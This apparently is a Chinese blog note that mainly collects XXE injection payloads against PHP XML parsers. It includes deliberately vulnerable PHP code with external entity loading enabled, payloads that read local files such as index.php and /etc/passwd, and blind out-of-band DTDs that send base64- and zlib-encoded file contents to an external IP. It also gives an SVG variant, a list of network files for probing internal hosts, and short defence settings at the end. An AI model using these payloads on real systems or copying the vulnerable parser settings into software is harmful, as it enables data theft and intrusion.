XXE即XML External Entity Injection,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()
这里主要是记录一些Payload
如果要自己复现的话,先检查自己是否安装php-xml
一、有回显读本地敏感文件(Normal XXE)
xml.php
1 2 3 4 5 6 7 8 9 10 <?php libxml_disable_entity_loader (false ); $xmlfile = file_get_contents('php://input' ); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
payload:
1 2 3 4 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php" > ]> <creds > &goodies; </creds >
这里一般会利用php伪协议进行编码,防止某些特殊字符导致报错
二、无回显读取本地敏感文件(Blind OOB XXE)
xml.php
1 2 3 4 5 6 7 <?php libxml_disable_entity_loader (false ); $xmlfile = file_get_contents('php://input' ); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
payload
1 2 3 4 5 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://47.103.62.94:8888/evil.dtd"> %remote;%int;%send; ]>
evil.dtd
1 2 3 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./1.php"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.103.62.94:9999?p=%file;'>">
这里需要注意的是读取的文件不能太大,否则会报错
这里可以利用zlib压缩数据流
1 php://filter /read =convert .base64-encode/resource=php://filter /read =zlib.deflate/resource=index.php
evil.dtd
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/read=zlib.deflate/resource=index.php"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.103.62.94:9999?p=%file;'>">
decode.py
1 2 3 4 5 6 7 import zlibimport base64str="" //解密的字符串 def decode_base64_inflate (b64string) : decode_base64 = base64.b64decode(b64string) return zlib.decompress(decode_base64,-15 ) print(decode_base64_inflate(str))
或者直接利用php解压
1 2 压缩:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd" ); 解压:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1" );
三丶SVG格式XXE注入
这个姿势是Google CTF 2019的某道题 这道题的WP (注意网络)学到的
svg.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php libxml_disable_entity_loader (false ); $xml=<<<EOF <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg [ <!ENTITY % remote SYSTEM "http://47.103.62.94:8080/evil.dtd"> %remote;%int;%send; ]> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="28px" height="22px" viewBox="0 0 28 22" enable-background="new 0 0 28 22" xml:space="preserve"> <image id="image0" width="28" height="22" x="0" y="0"href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgA"> </svg> EOF; $domcument = new DOMDocument(); $domcument->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); $img = simplexml_import_dom($domcument); $attrs = $img->attributes(); $width = (int) $attrs->width; $height = (int) $attrs->height; ?>
虽然报了一大堆错但数据已经带出来了
后面发现直接用盲注的payload也行
四、各种平台上支持协议
五、HTTP内网主机探测
尝试读取网络配置文件
1 2 3 4 5 /etc/ network/interfaces/proc/ net/arp/etc/ hosts
然后通过BurpSuit的测试器完成主机和端口探测
六、防御XXE
PHP:
1 libxml_disable_entity_loader (true );
JAVA:
1 2 3 4 5 6 7 8 DocumentBuilderFactory dbf =DocumentBuilderFactory .new Instance() ; dbf.setExpandEntityReferences(false ) ; .setFeature("http://apache.org/xml/features/disallow-doctype-decl" ,true ) ; .setFeature("http://xml.org/sax/features/external-general-entities" ,false ) .setFeature("http://xml.org/sax/features/external-parameter-entities" ,false ) ;
Python:
1 2 from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities =False ))
XXE漏洞分析
一篇文章带你深入理解漏洞之 XXE 漏洞